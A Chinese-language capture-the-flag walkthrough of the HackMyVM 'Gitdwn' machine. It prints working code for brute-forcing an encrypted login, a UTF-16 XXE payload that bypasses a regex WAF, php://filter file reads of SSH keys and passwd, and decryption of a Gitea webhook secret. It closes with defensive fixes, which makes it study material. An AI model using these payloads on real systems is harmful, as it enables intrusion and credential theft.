跳到主要内容

HackMyVM Gitdwn 通关记录|前端加密逆向、UTF-16 绕过 XXE WAF、Gitea Webhook 解密与 Git Stash 凭据泄露

靶机链接:Gitdwn


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Gitdwn192.168.1.118Debian 11 (bullseye) 靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache锁定攻击面:Web 服务是主要入口
前端加密逆向RSA PKCS#1 v1.5 + AES-128-CBC(CryptoJS + JSEncrypt)Python 复现加密逻辑以进行密码爆破
密码爆破admin:hotdog(Rockyou 前 5000)获取 Web 登录凭据
WAF 分析<!DOCTYPE<!ENTITYphp|filter|... 正则拦截确认 XXE 存在但被防护
UTF-16 BypassUTF-16LE 编码在每字节间插入 \x00preg_match 失效绕过两套 WAF 正则,完全解锁 XXE
php://filter 读文件php://filter/convert.base64-encode/resource=base64 编码后安全回传含特殊字符的文件
SSH 私钥获取/home/git/.ssh/id_ed25519 加密私钥 → John 破解 logitech获取 git 用户 SSH 访问
Gitea 数据库枚举SQLite DB /var/lib/gitea/data/gitea.db → webhook 表发现加密的 Bearer 授权头
Webhook 解密SHA256(SECRET_KEY) → AES-256-CFB 解密 → bilir!@#获得 bilir 用户 SSH 密码
Git Stash 泄露/home/bilir/code/.git 仓库 stash 中残留 mazesec123123获得 root 系统密码
Root FlagSSH root 登录完成靶机

0x02 侦察与信息收集 (Reconnaissance)

1. RustScan 联动 Nmap 端口扫描

先用 RustScan 做快速端口发现,并将结果交给 Nmap 进行服务识别与脚本扫描:

rustscan -a 192.168.1.118 -- -sV -sC -oN nmap_scan.txt

输出:

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-title: MazeSec Community - Login
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:FF:9A:98 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

发现的端口:

端口服务版本
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3
80/tcpHTTPApache httpd 2.4.62 (Debian)

2. 全端口确认

nmap -p- -T4 --min-rate=10000 192.168.1.118

输出:

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Not shown: 65533 closed tcp ports (reset)

结论: 目标仅开放 22(SSH)和 80(HTTP)两个 TCP 端口。攻击面极窄,Web 应用是唯一入口。


0x03 Web 枚举与信息收集

1. Web 首页分析

curl -s http://192.168.1.118/ -o /tmp/index.html && cat /tmp/index.html

输出(关键片段):

<title>MazeSec Community - Login</title>
<link rel="stylesheet" href="styles.css">
<script src="libs/crypto-js.min.js"></script> <!-- AES 加密库 -->
<script src="libs/jsencrypt.min.js"></script> <!-- RSA 加密库 -->
<form id="loginForm" class="login-form">
<input type="text" id="username" name="username" required>
<input type="password" id="password" name="password" required>
<button type="submit" class="btn-primary">Sign In</button>
</form>
<script src="login.js"></script> <!-- 加密逻辑 -->

关键发现:

  • 登录页使用了 CryptoJS(AES 加密)和 JSEncrypt(RSA 公钥加密)
  • 密码在前端被 RSA + AES 双重加密后发送,不是明文传输
  • /libs/ 目录列出了库文件,/api/ 目录列出了 PHP 接口

2. dirsearch 目录爆破

dirsearch -u http://192.168.1.118

输出:

[11:52:43] 200 - 955B - /dashboard.js
[11:52:43] 200 - 811B - /dashboard.html <-- 无需认证!
[11:49:11] 301 - 312B - /api -> /api/
[11:49:11] 200 - 480B - /api/ <-- 目录列表!
[11:49:13] 200 - 811B - /dashboard.html
[11:49:15] 301 - 313B - /libs -> /libs/
[11:49:15] 200 - 2KB - /login.js

关键发现:

  • /api/目录列表开启,可看到 login.php(4.4K)和 import.php(2.1K)
  • /dashboard.html无需认证即可访问,包含 XML 导入功能和系统信息
  • /libs/ — 目录列表开启,包含 crypto-js.min.jsjsencrypt.min.js

3. Dashboard 信息泄露

curl -s http://192.168.1.118/dashboard.html

输出(关键片段):

<title>MazeSec Community - Admin Dashboard</title>
<span id="username">Admin</span>

<h2>Data Import</h2>
<p>Import data from XML files. The system will parse and process
the imported data automatically.</p>
<form id="importForm" enctype="multipart/form-data">
<input type="file" id="xmlFile" name="xmlFile" accept=".xml">
<button type="submit">Import Data</button>
</form>

<h2>System Information</h2>
<p><strong>Server:</strong> <code>mazesec-web-01</code></p>
<p><strong>PHP Version:</strong> <code>8.1.0</code></p>
<p><strong>Status:</strong> All systems operational</p>

信息汇总:

信息
服务器mazesec-web-01
PHP 版本8.1.0
用户名Admin
XML 导入/api/import.php
认证方式Cookie session_token(仅客户端检查)

0x04 前端加密逆向与密码爆破

配套脚本: 01_login_bruteforce.py — 复现加密逻辑 + Rockyou 字典爆破,一键完成本节所有操作。

1. 前端加密算法分析(login.js)

curl -s http://192.168.1.118/login.js

完整的加密流程:

const RSA_PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
...
-----END PUBLIC KEY-----`;

// Step 1: 生成随机 AES-128 密钥和 IV(各 16 字节)
const aesKey = CryptoJS.lib.WordArray.random(128/8);
const iv = CryptoJS.lib.WordArray.random(128/8);

// Step 2: AES-128-CBC 加密用户凭据 JSON
const credentials = JSON.stringify({ username, password });
const encrypted = CryptoJS.AES.encrypt(credentials, aesKey, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
const encryptedData = encrypted.ciphertext.toString(CryptoJS.enc.Base64);

// Step 3: RSA 公钥(PKCS#1 v1.5)加密 AES 密钥和 IV
const encrypt = new JSEncrypt();
encrypt.setPublicKey(RSA_PUBLIC_KEY);
const encryptedKey = encrypt.encrypt(aesKeyBase64); // → base64
const encryptedIv = encrypt.encrypt(ivBase64); // → base64

// Step 4: POST /api/login.php
fetch('/api/login.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ encryptedData, encryptedKey, encryptedIv })
});

// Step 5: 成功后设置 cookie 并跳转
// document.cookie = `session_token=${result.token}; path=/`;
// window.location.href = '/dashboard.html';

加密架构:

客户端 服务端
┌─────────────┐ ┌─────────────┐
│ 生成 AES Key │ │ RSA 私钥解密 │
│ + IV (随机) │ │ 获取 AES Key │
│ ↓ │ │ + IV │
│ AES 加密 │ │ ↓ │
│ credentials │ ──POST /api/──→ │ AES 解密 │
│ ↓ │ login.php │ credentials │
│ RSA 公钥加密 │ │ ↓ │
│ AES Key + IV │ │ 验证用户名 │
│ │ │ 密码 (MD5) │
│ │ ←──session_token── │ ↓ │
│ 设置 Cookie │ │ 创建 Session │
└─────────────┘ └─────────────┘

2. Python 复现加密逻辑

由于需要爆破密码,必须用 Python 精确复现 JS 加密流程:

import requests, base64, json
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad

RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""

def encrypt_login(username, password):
# Step 1: 生成随机 AES-128 Key 和 IV
aes_key = get_random_bytes(16)
iv = get_random_bytes(16)

# Step 2: AES-128-CBC 加密 credentials JSON
credentials = json.dumps({"username": username, "password": password})
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
encrypted_data = cipher.encrypt(pad(credentials.encode(), AES.block_size))
encrypted_data_b64 = base64.b64encode(encrypted_data).decode()

# Step 3: RSA PKCS#1 v1.5 加密 AES Key 和 IV
rsa_key = RSA.import_key(RSA_PUBLIC_KEY)
rsa_cipher = PKCS1_v1_5.new(rsa_key)
aes_key_b64 = base64.b64encode(aes_key).decode()
iv_b64 = base64.b64encode(iv).decode()
encrypted_key = base64.b64encode(
rsa_cipher.encrypt(aes_key_b64.encode())
).decode()
encrypted_iv = base64.b64encode(
rsa_cipher.encrypt(iv_b64.encode())
).decode()

return {
"encryptedData": encrypted_data_b64,
"encryptedKey": encrypted_key,
"encryptedIv": encrypted_iv
}
Python 依赖

需要安装 pycryptodome 库:

pip install pycryptodome

3. 密码爆破 — Rockyou 字典

url = "http://192.168.1.118/api/login.php"

with open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') as f:
for i, line in enumerate(f):
if i >= 5000: break
password = line.strip()
if not password: continue

payload = encrypt_login("admin", password)
r = requests.post(url, json=payload, timeout=3)

if '"success":true' in r.text:
print(f"*** SUCCESS: admin:{password} ***")
print(r.text)
break

输出:

Tried 500... last: xavier

*** SUCCESS! admin:hotdog ***
{"success":true,"message":"Login successful",
"token":"91795c20aa7464267a3b7bf3c5aa77ce9de0255d38fb515172d96a7ed533606f"}

凭据: admin:hotdog

弱口令爆破提示

密码 hotdog 在 Rockyou 字典的前 500 位左右,属于极常见弱密码。即使系统使用了客户端加密,弱密码依然容易通过离线字典攻击快速爆破。


0x05 XXE 漏洞发现与 WAF 绕过

配套脚本: 02_xxe_reader.py — UTF-16 绕过 WAF + php://filter 读任意文件,一行命令完成本节所有 XXE 操作。

1. Dashboard.js 认证机制分析

curl -s http://192.168.1.118/dashboard.js

关键代码:

// 仅客户端检查 Cookie 是否存在!
if (!cookies.session_token) {
window.location.href = '/index.html';
return;
}

// XML 文件上传到 /api/import.php
const formData = new FormData();
formData.append('xmlFile', file);
const response = await fetch('/api/import.php', {
method: 'POST',
body: formData
});
// 成功后将 result.data 渲染到页面

发现: 客户端只检查 Cookie 是否存在,但服务端 /api/import.php 还会检查 $_SESSION['username'](需要先登录获得有效 Session)。

2. 登录获取 Session

保留两个会话 Cookie

必须保持 PHPSESSIDsession_token 两个 Cookie。PHPSESSID 由服务器 Set-Cookie 自动设置,session_token 由 JS 客户端设置(服务器也会验证)。

session = requests.Session()
payload = encrypt_login("admin", "hotdog")
r = session.post("http://192.168.1.118/api/login.php", json=payload)

# 服务器返回 PHPSESSID 和 token
print("PHPSESSID:", session.cookies.get('PHPSESSID'))
token = r.json().get('token')
session.cookies.set('session_token', token)

3. 初步 XXE 测试(被拦截)

xxe_test = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>"""

r = session.post("http://192.168.1.118/api/import.php",
files={"xmlFile": ("test.xml", xxe_test, "text/xml")})
print(r.text)

输出:

{"success":false,"message":"not this way, sir"}

被拦截!说明服务端有 XXE 防护。

4. 读取 import.php 源码(通过 XXE)

通过后续的 UTF-16 绕过方法成功读取了 import.php 源码。先在这里展示以帮助理解 WAF 逻辑:

<?php
session_start();
if (!isset($_SESSION['username'])) {
die('{"success":false,"message":"Unauthorized"}');
}

$xmlContent = file_get_contents($tmpPath);

// WAF 规则 1: 拦截 DOCTYPE 或 ENTITY 声明
if (preg_match('/(\<\!DOCTYPE|\<\!ENTITY)/is', $xmlContent)) {
die('{"success":false,"message":"not this way, sir"}');
}

// WAF 规则 2: 拦截 PHP wrapper 关键字符串
if (preg_match('/php|filter|expect|glob|phar|host|encode|decode|conf|\%/is', $xmlContent)) {
die('{"success":false,"message":"bad word!"}');
}

// 危险!LIBXML_NOENT 启用外部实体替换
$xml = simplexml_load_string($xmlContent, 'SimpleXMLElement',
LIBXML_NOENT | LIBXML_DTDLOAD);

WAF 规则分析:

规则正则拦截什么
规则 1(\<\!DOCTYPE|\<\!ENTITY)/isDOCTYPE / ENTITY 声明
规则 2php|filter|expect|glob|phar|host|encode|decode|conf|%PHP wrapper 关键字

5. UTF-16 编码绕过 WAF(核心突破)

绕过原理: PHP 的 preg_match() 在原始字节上操作。UTF-16LE 编码会在每个 ASCII 字符后插入一个 \x00(null byte),导致正则无法匹配原生 ASCII 模式:

原始 ASCII: < ! D O C T Y P E
十六进制: 3C 21 44 4F 43 54 59 50 45
↓ UTF-16LE 编码 ↓
UTF-16LE: 3C 00 21 00 44 00 4F 00 43 00 54 00 59 00 50 00 45 00
↑ null byte ↑
preg_match 搜索: < ! D O C T Y P E
✗ 不匹配!(被 null byte 打断)

同样地,phpp\x00h\x00p\x00,正则搜索 php 也匹配不到。

实现:

def make_xxe_payload(filepath):
"""生成 UTF-16 编码的 XXE payload"""
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file://{filepath}">]>
<root><data>&xxe;</data></root>"""
return xml.encode('utf-16')

# 测试:读取 /etc/hostname
payload = make_xxe_payload("/etc/hostname")
r = session.post("http://192.168.1.118/api/import.php",
files={"xmlFile": ("test.xml", payload, "text/xml")})
print(r.text)

输出:

{"success":true,"message":"Data imported successfully",
"data":{"data":"gitdwn\n"}}

成功读取文件!WAF 两套正则均被绕过!

6. php://filter 读取含特殊字符的文件

直接读取文件时,如果文件内容包含 XML 特殊字符(<, >, & 等),会破坏 XML 结构导致解析失败。使用 php://filter/convert.base64-encode 可以先将文件内容 base64 编码后再传回:

def read_file_b64(filepath):
"""UTF-16 编码 + php://filter base64 读取任意文件"""
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={filepath}">]>
<root><data>&xxe;</data></root>"""
r = session.post("http://192.168.1.118/api/import.php",
files={"xmlFile": ("test.xml", xml.encode('utf-16'), "text/xml")})
j = r.json()
if j.get('success') and j.get('data', {}).get('data'):
b64_data = j['data']['data']
return base64.b64decode(b64_data).decode('utf-8', errors='replace')
return None
编码后的字符表示

php://filter 写作文本为 p\x00h\x00p\x00:\x00/\x00/\x00f\x00i\x00l\x00t\x00e\x00r\x00,所有关键字符串都被 null byte 切割,preg_match 全部失配!


0x06 敏感文件读取与凭据收集

1. 读取 import.php 完整源码

print(read_file_b64("/var/www/html/api/import.php"))

完整源码(关键部分已在 0x05 展示),补充发现:

// 使用 LIBXML_NOENT | LIBXML_DTDLOAD 启用外部实体
$xml = simplexml_load_string($xmlContent, 'SimpleXMLElement',
LIBXML_NOENT | LIBXML_DTDLOAD);

$data = json_decode(json_encode($xml), true);
echo json_encode(['success' => true, 'data' => $data]);

2. 读取 login.php — 发现 RSA 私钥!

print(read_file_b64("/var/www/html/api/login.php"))

关键代码:

$RSA_PRIVATE_KEY = <<<KEY
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC3qXeTje+4j7w4
MeGvTur98GzDJaq/l3RKyhfb6LmtbL3w9bnwc2sq95TogNGFYU6YDwxDSPvNRwff
dUZpA05l0jyCajil2UAFAnsQzgTooZgLGXIiLhC3JSisE/ql9LWeUsLIAhzJuemJ
...
-----END PRIVATE KEY-----
KEY;

$VALID_CREDENTIALS = [
'admin' => md5('hotdog')
];

// Session 创建逻辑
$sessionToken = bin2hex(random_bytes(32));
session_start();
$_SESSION['username'] = $username;
$_SESSION['token'] = $sessionToken;

关键发现:

  • RSA 私钥硬编码在源码中
  • 凭据验证使用 MD5 哈希:md5('hotdog')
  • Session Token 使用 random_bytes(32) 生成(无法预测)

3. 读取 /etc/passwd — 发现系统用户

print(read_file_b64("/etc/passwd"))

关键行:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
git:x:1001:1001::/home/git:/bin/bash
bilir:x:1002:1002::/home/bilir:/bin/bash

发现了两个可登录用户: git (UID 1001) 和 bilir (UID 1002)。

4. 读取 SSH 私钥

# 搜索 SSH 私钥
print(read_file_b64("/home/git/.ssh/id_ed25519"))

输出:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDw27ezFa
JQTEi2prBXvDkoAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIKFZmdQK4Puv6jNg
...
-----END OPENSSH PRIVATE KEY-----

同时读取 authorized_keys 确认密钥对应:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKFZmdQK4Puv6jNgRmBH9m190f2g3MycNX8jFmOgp09z git@gitdwn

这是一个有密码保护的 OpenSSH 私钥(header 中 aes256-ctrbcrypt 表明已加密)。


0x07 SSH 私钥破解与初始访问

1. John the Ripper 破解私钥密码

# 将私钥复制到 Kali
# 用 ssh2john 转换为 John 可处理的 hash 格式
/usr/share/john/ssh2john.py /tmp/found_key_id_ed25519 > /tmp/git_key.hash

# 使用 Rockyou 字典破解
john /tmp/git_key.hash --wordlist=/usr/share/wordlists/rockyou.txt

输出:

logitech (/tmp/found_key_id_ed25519)
1g 0:00:00:41 DONE (2026-07-17 12:27) 0.02415g/s 45.60p/s 45.60c/s 45.60C/s

私钥密码: logitech

2. 移除密钥密码并 SSH 登录

# 移除私钥密码短语并修改权限
ssh-keygen -p -P "logitech" -N "" -f /tmp/found_key_id_ed25519
chmod 600 /tmp/found_key_id_ed25519

# SSH 登录
ssh -i /tmp/found_key_id_ed25519 \
-o StrictHostKeyChecking=no \
git@192.168.1.118 'id; uname -a'

输出:

uid=1001(git) gid=1001(git) groups=1001(git)
Linux gitdwn 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux

3. 读取 User Flag

ssh -i /tmp/found_key_id_ed25519 git@192.168.1.118 'cat /home/git/user.txt'

User Flag:

flag{user-8727fc2a5b261f82905333ed0936025b}

0x08 Gitea 枚举与 Webhook 解密

配套脚本: 03_gitea_webhook_decrypt.py — AES-256-CFB 解密 Gitea Webhook Bearer Token,一键还原加密的 Authorization 头。

1. 发现 Gitea 服务

登录后枚举本地监听端口:

ssh -i /tmp/found_key_id_ed25519 git@192.168.1.118 'ss -tlnp'

输出:

LISTEN 0 128 127.0.0.1:3000 0.0.0.0:* users:(("gitea",pid=343,fd=14))
LISTEN 0 128 127.0.0.1:25 0.0.0.0:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 *:22 *:*

关键发现: Gitea(Go 语言自建 Git 服务)运行在 127.0.0.1:3000

2. Gitea 配置文件

ssh git@192.168.1.118 'cat /etc/gitea/app.ini'

关键配置:

APP_NAME = Mazesec Gitea
RUN_USER = git

[server]
DOMAIN = 127.0.0.1
HTTP_PORT = 3000

[database]
DB_TYPE = sqlite3
PATH = /var/lib/gitea/data/gitea.db

[security]
SECRET_KEY = mazesec_ctf_key_123
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NjMyMjAwNDN9.4CB26EJsLb5kGvrL2mixgwkItbqXS5hPcM5Vmq51M3A

[actions]
ENABLED = true

[repository]
ROOT = /var/lib/gitea/data/gitea-repositories

关键信息:

配置项用途
SECRET_KEYmazesec_ctf_key_123Gitea 数据加密主密钥
DB_TYPEsqlite3数据库类型
DB_PATH/var/lib/gitea/data/gitea.db数据库文件路径

3. Gitea 数据库枚举

ssh git@192.168.1.118 "sqlite3 /var/lib/gitea/data/gitea.db \
'SELECT id, lower_name, is_admin FROM user;'"

输出:

1|root|1 <-- Gitea 管理员!
2|bilir|0
# 查看 webhook 表结构
ssh git@192.168.1.118 "sqlite3 /var/lib/gitea/data/gitea.db '.schema webhook'"

关键字段:

CREATE TABLE `webhook` (
`url` TEXT,
`header_authorization_encrypted` TEXT, -- 加密的 Authorization 头!
...
);
# 读取 webhook 数据
ssh git@192.168.1.118 "sqlite3 /var/lib/gitea/data/gitea.db \
'SELECT id, repo_id, url, header_authorization_encrypted, is_active FROM webhook;'"

输出:

1|1|http://127.0.0.1:8888|e4a28a7a1dd990616c1314e61f5958f83717fbea95af00eadaa0e4bd65d8e771338ca3a175f57d33fd05ea81|1

发现:

  • Webhook URL: http://127.0.0.1:8888(对应 /root/snake.git 仓库)
  • header_authorization_encrypted = e4a28a7a1dd990616c1314e61f5958f83717fbea95af00eadaa0e4bd65d8e771338ca3a175f57d33fd05ea81(82 个十六进制字符 = 44 字节)
  • Webhook 状态为活跃(is_active=1

4. 解密 Webhook Bearer Token

解密原理: Gitea 使用 AES-256-CFB 加密敏感字段。密钥来自 SHA256(SECRET_KEY)

import hashlib
from Crypto.Cipher import AES

SECRET_KEY = "mazesec_ctf_key_123"
encrypted_hex = "e4a28a7a1dd990616c1314e61f5958f83717fbea95af00eadaa0e4bd65d8e771338ca3a175f57d33fd05ea81"
encrypted = bytes.fromhex(encrypted_hex)

# Gitea 加密格式: IV (16 bytes) + ciphertext (CFB mode)
# Key = SHA256(SECRET_KEY) → 32 bytes
key = hashlib.sha256(SECRET_KEY.encode()).digest()
iv = encrypted[:16]
ciphertext = encrypted[16:]

# AES-256-CFB 解密
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
plaintext = cipher.decrypt(ciphertext)

print(plaintext.decode())
# → QmVhcmVyIFltbHNhWEloUUNNPQ==

输出: QmVhcmVyIFltbHNhWEloUUNNPQ==

echo "QmVhcmVyIFltbHNhWEloUUNNPQ==" | base64 -d

输出: Bearer YmlsaXIhQCM=

echo "YmlsaXIhQCM=" | base64 -d

输出: bilir!@#

完整 Auth 头: Authorization: Bearer YmlsaXIhQCM=(即 bilir!@# 的 base64 编码)

5. SSH bilir 用户登录

sshpass -p 'bilir!@#' ssh -o StrictHostKeyChecking=no bilir@192.168.1.118 'id'

输出:

uid=1002(bilir) gid=1002(bilir) groups=1002(bilir)

0x09 Git Stash 凭据泄露与 Root 提权

1. 发现 bilir 的 Git 仓库

sshpass -p 'bilir!@#' ssh bilir@192.168.1.118 'ls -la /home/bilir/code/'

输出:

total 20
drwxr-xr-x 3 bilir bilir 4096 Nov 16 2025 .
drwx------ 4 bilir bilir 4096 Nov 16 2025 ..
-rw-r--r-- 1 bilir bilir 82 Nov 15 2025 config.yaml
drwxr-xr-x 8 bilir bilir 4096 Nov 16 2025 .git
-rw-r--r-- 1 bilir bilir 21 Nov 16 2025 order.py

2. 查看 config.yaml

sshpass -p 'bilir!@#' ssh bilir@192.168.1.118 'cat /home/bilir/code/config.yaml'

输出:

database:
host: localhost
port: 3306
user: order_user
pass: [PLACEHOLDER]

密码是占位符 [PLACEHOLDER],但这是一个 Git 仓库,需要检查历史记录。

3. Git Stash — 关键发现

sshpass -p 'bilir!@#' ssh bilir@192.168.1.118 \
'cd /home/bilir/code && git stash list && git stash show -p'

输出:

stash@{0}: On master: temp

diff --git a/config.yaml b/config.yaml
index aeeba1c..d8ee8b5 100644
--- a/config.yaml
+++ b/config.yaml
@@ -2,4 +2,4 @@ database:
host: localhost
port: 3306
user: order_user
- pass: [PLACEHOLDER]
+ pass: mazesec123123

Stash 中泄露了真实密码: [PLACEHOLDER]mazesec123123

解释: git stash 是 Git 的"暂存"功能。开发者将 config.yaml 中的真实密码填入后执行了 git stash,意图暂时保存更改。但 stash 中的敏感数据被永久保留在 .git 目录中,任何能读取仓库的人都能通过 git stash show -p 查看。

4. Root SSH 登录

sshpass -p 'mazesec123123' ssh -o StrictHostKeyChecking=no root@192.168.1.118 \
'id; cat /root/root.txt'

输出:

uid=0(root) gid=0(root) groups=0(root)
flag{root-b87b0437b49b9ac088675c71de261e09}

Root Flag:

flag{root-b87b0437b49b9ac088675c71de261e09}

0x10 最终成果 (Final Flags)

User Flag

  • 路径: /home/git/user.txt
  • 内容: flag{user-8727fc2a5b261f82905333ed0936025b}
  • 获取方式: XXE → 提取 SSH 私钥 → John 破解 → git SSH 登录

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-b87b0437b49b9ac088675c71de261e09}
  • 获取方式: Gitea Webhook 解密 → bilir SSH → Git Stash 泄露 → root 密码 mazesec123123

附件下载

以下三个 Python 脚本涵盖了本次渗透的核心技术环节,可直接下载用于复现或同类场景。环境依赖:pip install pycryptodome requests

脚本说明下载
01_login_bruteforce.pyRSA+AES 前端加密逆向 + Rockyou 字典爆破 Web 登录下载
02_xxe_reader.pyUTF-16LE 编码绕过 WAF + php://filter XXE 文件读取下载
03_gitea_webhook_decrypt.pyAES-256-CFB 解密 Gitea Webhook Bearer Token下载

复盘总结

这台 Gitdwn 靶机是一条典型的 Web → 凭据泄露 → 横向移动 → Git 敏感信息泄露 → Root 攻击链:

  1. 前端加密不防爆破。 RSA + AES 双重加密看似安全,但弱密码 hotdog 仍被 Rockyou 字典在 5000 次内爆破。前端加密只能防中间人,不能防字典攻击 — 后端应实施速率限制、账户锁定和密码复杂度策略。

  2. 目录列表是严重信息泄露。 /api//libs/ 允许目录浏览,直接暴露了 API 端点和依赖库。Apache 生产环境应禁用 Options +Indexes

  3. UTF-16 编码绕过 WAF 是一个教训。 preg_match 在原始字节上操作,不理解多字节编码。使用 UTF-16 编码在字符间插入 \x00 可使正则完全失效。防御方案:在正则匹配前先检测并拒绝异常编码,或使用 mb_ 系列函数处理多字节字符串。

  4. WAF 黑名单不完整。 preg_match 拦截了 php|filter|... 但没有拦截 file://data://,更关键的是没有阻止外部实体加载(应使用 libxml_disable_entity_loader(true) 或设置 LIBXML_NOENT 为 false)。

  5. 硬编码密钥是一个根基性问题。 RSA 私钥和 Gitea SECRET_KEY 都硬编码在 PHP 源码中。一旦攻击者通过 LFI/XXE 读取源码,整个加密体系就崩溃了。

  6. Git Stash 会永久保留敏感数据。 开发者以为 git stash 只是"暂存",没有意识到 stash 中的更改会被永久保存在 .git/refs/stash.git/objects/ 中。敏感文件(如含密码的配置文件)永远不应该git add 后再 stash。

  7. 密码复用普遍存在。 hotdog → Web 登录, logitech → SSH Key(需破解), bilir!@# → SSH + Gitea, mazesec123123 → MySQL 配置 + root 系统用户。凭据复用使得攻击者一旦突破一个点就能横向移动。

  8. 凭据泄露链具有递进性。 每一步的凭据发现都为下一步铺路 — Web 登录 → SSH 私钥(XXE 读文件)→ Gitea DB → Webhook 解密 → bilir → Git Stash → root。防守方需要在每一层都设置独立防线。

防守侧修复建议:

  • 关闭 Web 服务器目录列表(Options -Indexes
  • 实施登录速率限制和账户锁定策略
  • 使用 libxml_disable_entity_loader(true) 禁用 XXE
  • 避免在源码或配置文件中硬编码密钥和凭据
  • 使用环境变量或密钥管理服务管理敏感配置
  • .git 目录不应部署到生产 Web 根目录
  • 仓库历史中的敏感数据应使用 git filter-branch 或 BFG 清理
  • 定期审计 Git 仓库历史、stash 和 reflog 中的敏感信息
  • 为不同服务和用户使用独立密码,防止凭据复用